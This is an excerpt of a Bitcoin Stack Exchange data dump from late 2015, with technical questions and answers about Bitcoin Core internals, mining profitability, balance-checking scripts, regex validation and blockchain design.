  <row Id="41506" PostTypeId="1" CreationDate="2015-11-24T20:42:41.353" Score="1" ViewCount="68" Body="&lt;p&gt;In the &lt;a href=&quot;https://en.wikipedia.org/wiki/Resource_Description_Framework&quot; rel=&quot;nofollow&quot;&gt;RDF data model&lt;/a&gt; things are named with URIs which are essentially just URLs with more precise information appended to them. See here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@prefix eric:    &amp;lt;http://www.w3.org/People/EM/contact#&amp;gt; .&#xA;@prefix contact: &amp;lt;http://www.w3.org/2000/10/swap/pim/contact#&amp;gt; .&#xA;@prefix rdf:     &amp;lt;http://www.w3.org/1999/02/22-rdf-syntax-ns#&amp;gt; .&#xA;&#xA;eric:me contact:fullName &quot;Eric Miller&quot; .&#xA;eric:me contact:mailbox &amp;lt;mailto:e.miller123(at)example&amp;gt; .&#xA;eric:me contact:personalTitle &quot;Dr.&quot; .&#xA;eric:me rdf:type contact:Person .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any concivable utility in naming entities in RDF using Namecoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe immutability? Since DNS hosted domains are subject to disappear over time for whatever reason. As in an &lt;a href=&quot;http://www.nytimes.com/2013/09/24/us/politics/in-supreme-court-opinions-clicks-that-lead-nowhere.html&quot; rel=&quot;nofollow&quot;&gt;NYT article&lt;/a&gt; I read that 50% of the links in US supreme court cases are now defunct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I know that really things in Namecoin are not really immutable, they are also subject to change/transferance but maybe they're more persistent than centralized DNS IP system. &lt;/p&gt;&#xA;" OwnerUserId="30732" LastEditorUserId="30732" LastEditDate="2015-11-24T21:47:32.853" LastActivityDate="2015-11-24T21:47:32.853" Title="name coin applicability to RDF data model URI specification" Tags="|namecoin|database|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T20:55:15.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="41507" PostTypeId="1" CreationDate="2015-11-24T22:13:16.587" Score="0" ViewCount="394" Body="&lt;p&gt;I have a script that uses the Blockchain API to check the current balance on all my accounts one by one. When I reach a certain balance I sweep to a master account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I using the correct code here as I am having errors checking the balance on accounts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my $mech = WWW::Mechanize-&amp;gt;new();&#xA;$mech-&amp;gt;get(&quot;http://blockexplorer.com/q/getreceivedbyaddress/&quot;.$btcaddress);   # Check transactions on each address as per masterlist&#xA;my $getreceived = $mech-&amp;gt;content;&#xA;&#xA;$mech-&amp;gt;get(&quot;http://blockexplorer.com/q/addressbalance/&quot;.$btcaddress);   # Check balance on of each address as per master list&#xA;my $addressbalance = $mech-&amp;gt;content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can check transaction volume ok to reconcile with my accounts but I want to know the current final balance too so I can check that box also.&lt;/p&gt;&#xA;" OwnerUserId="30761" LastEditorUserId="2306" LastEditDate="2015-11-24T23:30:28.580" LastActivityDate="2015-11-25T01:35:59.867" Title="Problems checking BTC current balance using blockchain.info's API, am I correct here?" Tags="|api|blockchain.info|perl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41508" PostTypeId="2" ParentId="41507" CreationDate="2015-11-25T01:35:59.867" Score="1" Body="&lt;p&gt;Just ran almost the exact same code in perl and this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;&#xA;use WWW::Mechanize;&#xA;&#xA;my $btcaddress = &quot;1Enn7YW22vBGvCWrsPQN7vDhnQCYhy221V&quot;;&#xA;&#xA;my $mech = WWW::Mechanize-&amp;gt;new();&#xA;$mech-&amp;gt;get(&quot;http://blockexplorer.com/q/getreceivedbyaddress/&quot; . $btcaddress);   # Check transactions on each address as per masterlist&#xA;my $getreceived = $mech-&amp;gt;content;&#xA;&#xA;print $getreceived . &quot;\n&quot;;&#xA;&#xA;$mech-&amp;gt;get(&quot;http://blockexplorer.com/q/addressbalance/&quot;.$btcaddress);   # Check balance on of each address as per master list&#xA;my $addressbalance = $mech-&amp;gt;content;&#xA;&#xA;print $addressbalance . &quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the address is a random one I found on blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-25T01:35:59.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41509" PostTypeId="2" ParentId="40898" CreationDate="2015-11-25T03:07:05.970" Score="0" Body="&lt;p&gt;The bitcoin version 0.11.1 (linux 32 bit)  seems to deal better with the memory, so i amnot having the problem anymore&lt;/p&gt;&#xA;" OwnerUserId="27130" LastActivityDate="2015-11-25T03:07:05.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41510" PostTypeId="1" CreationDate="2015-11-25T03:21:49.903" Score="1" ViewCount="9195" Body="&lt;p&gt;So I'm thinking of buying one of the newly-announced $400 USD 21's RaspberryPi-ASIC computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know the hashrate of its ASIC? How could I calculate the BTC profits I would get from it, per day?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: The purpose of buying it is not just for the mining profit, although I'm still interested to know on what scale of magnitude these profits are.&lt;/p&gt;&#xA;" OwnerUserId="2751" LastActivityDate="2015-11-25T09:34:52.123" Title="Estimated profit of a $400 21's RaspberryPi-ASIC computer?" Tags="|mining-profitability|asic|raspberry-pi|" AnswerCount="1" CommentCount="0" ClosedDate="2015-11-25T04:03:34.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="41511" PostTypeId="2" ParentId="41510" CreationDate="2015-11-25T04:03:29.017" Score="1" Body="&lt;p&gt;We know only some of the variables so it's hard to make a blanket statement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chip mines at &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_Bitcoin_mining_ASICs#21&quot; rel=&quot;nofollow noreferrer&quot;&gt;50GH/s in the configuration given to consumers, while consuming 8W&lt;/a&gt;, for the whole device the consumption is likely in the order of 15W at the power point accounting for the consumption of the Raspberry Pi and conversion losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Power cost varies worldwide, but here's a general idea, all amounts are in USD. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;╔═══════════╦═════════╦════════════════╦═══════════════╗&#xA;║  Country  ║  $/kwh  ║ Cost per Month ║ Cost per Year ║&#xA;╠═══════════╬═════════╬════════════════╬═══════════════╣&#xA;║  Iceland  ║  5.5c   ║     $0.55      ║     $6.57     ║ &#xA;╠═══════════╬═════════╬════════════════╬═══════════════╣&#xA;║ Indonesia ║   11c   ║     $1.22      ║    $14.40     ║ &#xA;╠═══════════╬═════════╬════════════════╬═══════════════╣&#xA;║  Norway   ║   17c   ║     $1.89      ║    $22.33     ║ &#xA;╠═══════════╬═════════╬════════════════╬═══════════════╣&#xA;║  Spain    ║   25c   ║     $2.79      ║    $32.86     ║ &#xA;╠═══════════╬═════════╬════════════════╬═══════════════╣&#xA;║  Denmark  ║   33c   ║     $3.68      ║    $43.36     ║ &#xA;╠═══════════╬═════════╬════════════════╬═══════════════╣&#xA;║  Vanuatu  ║   60c   ║     $6.67      ║    $78.84     ║ &#xA;╚═══════════╩═════════╩════════════════╩═══════════════╝ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The amount of gross income from such a device is essentially unknown, the Bitcoin network difficulty is constantly changing, and so is the value in USD of the Bitcoin being mined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/krcg7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/krcg7.png&quot; alt=&quot;global hashrate&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your income from a given hashrate is inversely proportional to the wider bitcoin networks hashrate, as it goes up your income goes down. The difficulty is adjusted every two weeks, and is growing single or double digit percentages per period at the moment. Planning ahead how much a miner will make even in one months time is essentially futile as a result of this unpredictability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without counting the power costs, for the current difficulty of &lt;code&gt;72722780642&lt;/code&gt;, a 50GH ASIC will produce &lt;code&gt;0.01037&lt;/code&gt; BTC per month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the difficulty and price has not changed, they could sell this for $3.28. If they live in Spain, Norway, Indonesia or Iceland, they made a tiny profit over their power bill which can go to paying for the $400 cost of the device, in Denmark or Vanuatu they made a loss. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="2306" LastEditDate="2015-11-25T09:34:52.123" LastActivityDate="2015-11-25T09:34:52.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41512" PostTypeId="1" AcceptedAnswerId="41514" CreationDate="2015-11-25T05:30:57.313" Score="1" ViewCount="236" Body="&lt;p&gt;If not, what are the prevailing critiques and concerns of that design choice?&lt;/p&gt;&#xA;" OwnerUserId="30472" LastActivityDate="2015-11-25T15:49:01.480" Title="Was there ever reasoning presented for the size of a satoshi (i.e., the minimum amount of bitcoin that can be transacted)?" Tags="|satoshi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41514" PostTypeId="2" ParentId="41512" CreationDate="2015-11-25T06:30:12.297" Score="2" Body="&lt;p&gt;Like most of these internal choices in the Bitcoin system, it's not really explained by the author and can't be easily changed even if anybody had a strong objection to it. Internally all values are 64 bit integers, and just displayed to the user as &lt;code&gt;value / 1e8&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2log8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2log8.png&quot; alt=&quot;bitcoin 0.1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original wxBitcoin releases displayed two decimal places of precision. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="208" LastEditDate="2015-11-25T15:49:01.480" LastActivityDate="2015-11-25T15:49:01.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41515" PostTypeId="1" AcceptedAnswerId="41516" CreationDate="2015-11-25T06:58:22.203" Score="1" ViewCount="63" Body="&lt;p&gt;I just started accepting bitcoin for potentially anonymous legal consultations.  Does anyone out there have any advice for how to accomplish anonymous yet legally confidential attorney relations?  I firmly believe in attorney-client privilege but know that a court order can force disclosure -- making the reality of confidentiality a question of court order.&lt;/p&gt;&#xA;" OwnerUserId="30767" LastEditorUserId="2306" LastEditDate="2015-11-25T07:30:29.250" LastActivityDate="2015-11-25T07:52:09.940" Title="Any advice for attorney accepting bitcoin?" Tags="|legal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41516" PostTypeId="2" ParentId="41515" CreationDate="2015-11-25T07:52:09.940" Score="2" Body="&lt;p&gt;I'm not qualified to answer about the legal rules surrounding confidentiality. (Though, I imagine you have a better handle on California/United States confidentiality than I do anyway.) However, there are a few technical details you should be aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, transactions in Bitcoin are essentially public. The transaction amounts and the time of the transaction are both public information. That means that if you're forced to disclose the amount and day of the transaction, someone could figure out the transaction that you were paid by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, transactions are linkable. That means that if someone figures out which transaction you were paid by, they could follow the money that you were paid with, and they might be able to identify your client. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-11-25T07:52:09.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41517" PostTypeId="2" ParentId="34319" CreationDate="2015-11-25T09:52:41.480" Score="1" Body="&lt;p&gt;Have the same problem, keeps getting ZOMBIE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved the problem but power cycle my controller which is a custom beaglebone board, power cycle is made fully automatic by cron jobs.&lt;/p&gt;&#xA;" OwnerUserId="30546" LastActivityDate="2015-11-25T09:52:41.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41518" PostTypeId="2" ParentId="41423" CreationDate="2015-11-25T11:51:31.087" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Who bears the burden of the cost ? Is it the user or is it the network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just like what happens when more dollars are printed, the value of all the existing currency goes down.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If its borne by the network, wouldn't this cause an increase in circulation of bitcoins in a network and lead to reduction in their value making them unstable?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It leads to a predictable increase in the total supply. There's no reason to expect a predictable change in supply to cause instability in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about oil, for example. If there are unexpected changes in the supply of oil, then the price will jump in response. But if we knew that the supply of oil would increase at a very predictable rate that changed only gradually, there would be no such jumps.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the this cost is borne by the user, then how does it make it an alternative to native banking transaction cost?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The idea is that by reducing transaction costs relative to existing cross-border payment systems, the Bitcoin system will create enough value to pay the miners and still be competitive. The mining reward drops over time, so it doesn't need to produce value forever to hold its value.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the mining of bitcoins also lead to circulation increase, how can the system handle the volume of transaction relating to a global economy? How would this effect the public book keeping system and the miners ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The number of transactions or their size has no effect on the generation of Bitcoins which occurs on a predictable schedule up to the fixed limit at which time it stops.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-11-25T11:51:31.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41521" PostTypeId="1" AcceptedAnswerId="41523" CreationDate="2015-11-25T22:24:50.300" Score="2" ViewCount="373" Body="&lt;p&gt;In &lt;a href=&quot;https://bitcoin.stackexchange.com/q/17356/323&quot;&gt;an earlier question&lt;/a&gt; we learned some rough numbers about how much data does regular pool mining use. However, I wonder how much data is typically used when one is mining in a &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow noreferrer&quot;&gt;P2Pool&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-02-21T11:57:09.440" Title="How much data traffic does participating in P2Pool mining cause?" Tags="|p2pool|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41522" PostTypeId="1" AcceptedAnswerId="41551" CreationDate="2015-11-26T00:16:06.470" Score="2" ViewCount="1547" Body="&lt;p&gt;I'm trying to compile from latest tag the bitcoin repo and in my use case scenario ZeroMQ support would definitely help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the documentation I realized &lt;a href=&quot;https://github.com/wouldgo/bitcoind-docker-container&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; rudimental docker container. The Dockerfile installs the &lt;code&gt;libzmq3-dev&lt;/code&gt; dependency and I define &lt;a href=&quot;https://github.com/wouldgo/bitcoind-docker-container/blob/master/conf/bitcoin.conf#L8&quot; rel=&quot;nofollow&quot;&gt;these&lt;/a&gt; configurations in the &lt;code&gt;bitcoin.conf&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is that inside the container there isn't any bind for the defined mq enpoints and I cannot realize where the error is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please help me to enable mq publish mechanism?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: Now the bitcoin.conf file used is &lt;a href=&quot;https://github.com/wouldgo/bitcoind-docker-container/blob/master/conf/bitcoin.conf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; running in in debug it logs &lt;a href=&quot;http://pastebin.com/LMkgh4j1&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; debug_log.txt.&lt;/p&gt;&#xA;" OwnerUserId="30781" LastEditorUserId="30781" LastEditDate="2015-11-27T13:37:58.697" LastActivityDate="2015-11-29T10:27:17.683" Title="Bitcoind with ZeroMQ support" Tags="|bitcoind|zeromq|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="41523" PostTypeId="2" ParentId="41521" CreationDate="2015-11-26T00:36:58.217" Score="4" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3u9uc3/how_much_data_traffic_does_participating_in/cxd6odh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Greg Maxwell&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;4.14kB/sec in, 10.7kb/s out; averaged over the last 30 days. 38GB in transfer total.&lt;/p&gt;&#xA;&lt;p&gt;Significantly less than the full node that goes with it... p2pool used to be fairly large relative to the node; but greater amounts of load on the Bitcoin network have shifted the balance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-11-26T00:36:58.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41524" PostTypeId="1" AcceptedAnswerId="41530" CreationDate="2015-11-26T02:03:06.433" Score="7" ViewCount="6255" Body="&lt;p&gt;What does &quot;Activating Best Chain&quot; mean? My Bitcoin Core doesn't freeze, it just takes a while. I'm curious as to what it's doing.&lt;/p&gt;&#xA;" OwnerUserId="30782" LastEditorUserId="5406" LastEditDate="2018-05-04T17:10:08.963" LastActivityDate="2018-05-04T17:10:08.963" Title="What does &quot;Activating Best Chain&quot; mean?" Tags="|bitcoin-core|synchronization|terminology|best-chain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41525" PostTypeId="1" AcceptedAnswerId="41545" CreationDate="2015-11-26T05:38:03.563" Score="2" ViewCount="488" Body="&lt;p&gt;I'm using Python (2.7) and its &lt;code&gt;re&lt;/code&gt; module for recognition of various Bitcoin data, namely:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;addresses, DER sigs, OP Return hexdata, TxIDs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've been using &lt;code&gt;re.compile&lt;/code&gt;: for example, for a valid Tx hash (TxID):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RE_TXHASH = re.compile('^[0-9a-fA-F]{64}$')&#xA;if bool(re.match(RE_TXHASH, 'f'*64)):    # 'f'*63 would fail&#xA;    print 'valid tx hash!'&#xA;else:&#xA;    raise Exception(&quot;invalid tx hash!&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm looking for regex patterns for the following (or input on my current best attempt):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;DER signatures: General format &lt;em&gt;&lt;code&gt;&quot;30[sig_size]02[r_size]02[s_size][sighash]&quot;&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin addresses:  &lt;code&gt;re.compile('^[123mn]{1}[a-km-zA-HJ-NP-Z0-9]{26,33}$')&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;OP Return hex strings: &lt;code&gt;re.compile('^(6a){1}[a-fA-F0-9]{0,80}$')&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;TxIDs: &lt;code&gt;re.compile('^[0-9a-fA-F]{64}$')&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: to clarify, can someone help with a regex pattern for this? &lt;em&gt;&lt;code&gt;&quot;30[sig_size]02[r_size]02[s_size][sighash]&quot;&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-11-27T01:47:00.630" LastActivityDate="2015-11-27T15:07:30.793" Title="Regular Expressions for DER signature hex (also req, address, TxIDs)?" Tags="|python|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="41528" PostTypeId="1" CreationDate="2015-11-26T14:06:06.503" Score="1" ViewCount="589" Body="&lt;p&gt;I recently purchased an Antminer S5 on eBay that came with a Corsair GS 800 power supply. I set the miner up, connected it to a pool, and it seemed like it was working fine. After about 15 minutes I noticed that Chain 2 was inactive (status showed multiple '-' on miner configuration page). I restarted the miner, and it was working fine until again after about 2 hours, Chain 2 stopped, but now its status still showed it was active ('ooo'). So I restarted again, and after about 6-8 hours this time, Chain 2 stops, and still shows as active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time chain 2 stops the total GH/s is only about 600. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really confused by this because it seems like the miner is working but something just causes chain 2 to stop. It came shipped with 2 new fans on the front and back, and a frequency of 387.5M (Default is 350). The seller has not been of much help so far. Really has only been telling me to keep restarting it, which works but only for a short time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could cause this or how to fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="30794" LastEditorUserId="5406" LastEditDate="2016-02-21T11:58:38.567" LastActivityDate="2016-02-21T11:58:38.567" Title="Antminer S5 Chain 2 stops after a few hours" Tags="|asic|mining-hardware|miner-configuration|antminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41529" PostTypeId="2" ParentId="41524" CreationDate="2015-11-26T14:58:32.190" Score="3" Body="&lt;p&gt;Appending blocks to the longest blockchain fork.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         _ _ _ _ _ _ _this is the best chain&#xA; _ _ _ _/&#xA;        \_ _ this is NOT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2015-11-26T14:58:32.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41530" PostTypeId="2" ParentId="41524" CreationDate="2015-11-26T16:49:08.490" Score="10" Body="&lt;p&gt;Bitcoin Core maintains two databases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The block index&lt;/li&gt;&#xA;&lt;li&gt;The chain state (or UTXO set)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;first&lt;/strong&gt; one just contains a list of all blocks we know about, valid and invalid. It contains all forks we have ever heard about, and all branches that result from it. It also contains information about where on disk these are stored. It does however &lt;em&gt;not&lt;/em&gt; contain any information about which blocks we consider part of the &quot;best chain&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;second&lt;/strong&gt; one contains a snapshot of all existing unspent transaction outputs up to one particular block (and it also stores the hash of this block it is &quot;synchronized&quot; to). The process of validating blocks consists of &quot;applying&quot; the effects of blocks to this state, and possibly undoing those effects when the block turns out to be invalid, or we need to reorganize to another branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At startup, it is possible that the first database contains blocks that could be valid but aren't part of the snapshot the second database represents. This can happen when you manually overwrite the block index (restoring from a backup, for example), but more commonly: because Bitcoin crashed after downloading some blocks that ended up being written to the block index, but the resulting chain state was never dumped to disk. When this happens, we will &lt;em&gt;activate&lt;/em&gt; the best chain, loading blocks from the second database and applying them to the first (while doing full validation on them in the process).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin Core heavily caches the chain state in memory, it is possible that there are hundreds or thousands of blocks missing from the chain state after an unclean shutdown. It can take a while to validate them again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: It's verifying blocks that were downloaded already but not processed yet (because the result of processing wasn't properly written to disk, most likely).&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-11-26T18:02:11.797" LastActivityDate="2015-11-26T18:02:11.797" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41533" PostTypeId="1" CreationDate="2015-11-26T21:26:43.653" Score="1" ViewCount="211" Body="&lt;p&gt;Mainly I am proposing the idea below because I feel that the blockchain is overkill, but I assume I must be missing something. So if someone could pick out the flaw below, I would greatly appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Suppose there is an alternative architecture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every user holds a complete ledger, not of all historical transactions, but the current balance of every other user. To send a coin, I would simply send out a message to every node saying who the money is going to and how much. Then using my address (public key), all other nodes can determine if the message actually came from me, and if so alter their copy of the ledger. As a fail safe against double spending, before this alteration takes place, every node would then query other nodes and see if if the majority have received the same message. If two transactions are present, it would enact the earliest timestamped trade (or whoever the majority thinks is first), then accept or reject the later based on balance.&lt;/p&gt;&#xA;" OwnerUserId="30802" LastActivityDate="2015-11-29T15:14:45.043" Title="why is the blockchain necessary if bitcoins utilize cryptography" Tags="|blockchain|encryption|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41535" PostTypeId="1" AcceptedAnswerId="41537" CreationDate="2015-11-26T21:54:35.763" Score="9" ViewCount="860" Body="&lt;p&gt;To be more exact: Given two blocks A and B, with heights A &amp;lt; B, but with positions in the blk file (we'll call them pA and pB) pA &gt; pB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the maximum amount of blocks that there could be stored in a blk*.dat file, between pB and pA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, let's say this is a blk*.dat file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C D &lt;strong&gt;B&lt;/strong&gt; E F G &lt;strong&gt;A&lt;/strong&gt; H I&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see here that block A is stored 3 blocks later than B, despite A having a lower height than B. Is there a maximum amount for this value (which in this case is 3)?&lt;/p&gt;&#xA;" OwnerUserId="6105" LastActivityDate="2017-01-09T18:05:34.783" Title="How much out of order are the blocks stored in the blk*.dat files?" Tags="|blockchain|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41536" PostTypeId="1" AcceptedAnswerId="41539" CreationDate="2015-11-26T22:05:50.253" Score="5" ViewCount="2039" Body="&lt;p&gt;Why does Bitcoin keep (unconfirmed) transactions in a memory pool? What would happen if these were stored on disk instead?&lt;/p&gt;&#xA;" OwnerUserId="30804" LastActivityDate="2016-04-27T06:39:16.877" Title="Why does Bitcoin keep transactions in a memory pool?" Tags="|transactions|mempool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41537" PostTypeId="2" ParentId="41535" CreationDate="2015-11-26T22:12:54.320" Score="6" Body="&lt;p&gt;1024.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Size of the &quot;block download window&quot;: how far ahead of our current height do we fetch?&#xA; *  Larger windows tolerate larger download speed differences between peer, but increase the potential&#xA; *  degree of disordering of blocks on disk (which make reindexing and in the future perhaps pruning&#xA; *  harder). We'll probably want to make this a per-peer adaptive value at some point. */&#xA;static const unsigned int BLOCK_DOWNLOAD_WINDOW = 1024;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://github.com/bitcoin/bitcoin/search?utf8=%E2%9C%93&amp;amp;q=BLOCK_DOWNLOAD_WINDOW&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-01-09T18:05:34.783" LastActivityDate="2017-01-09T18:05:34.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41538" PostTypeId="2" ParentId="41533" CreationDate="2015-11-26T22:31:27.960" Score="2" Body="&lt;p&gt;Something that you must explain is that you must define how nodes can join the network. If there is no barrier to entry, someone could create enough nodes to become the majority then double spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing is that you described a clearing mechanism, but not an issuing mechanism. How does money enter the system at the beginning and throughout?&lt;/p&gt;&#xA;" OwnerUserId="30472" LastEditorUserId="30472" LastEditDate="2015-11-26T22:38:06.863" LastActivityDate="2015-11-26T22:38:06.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
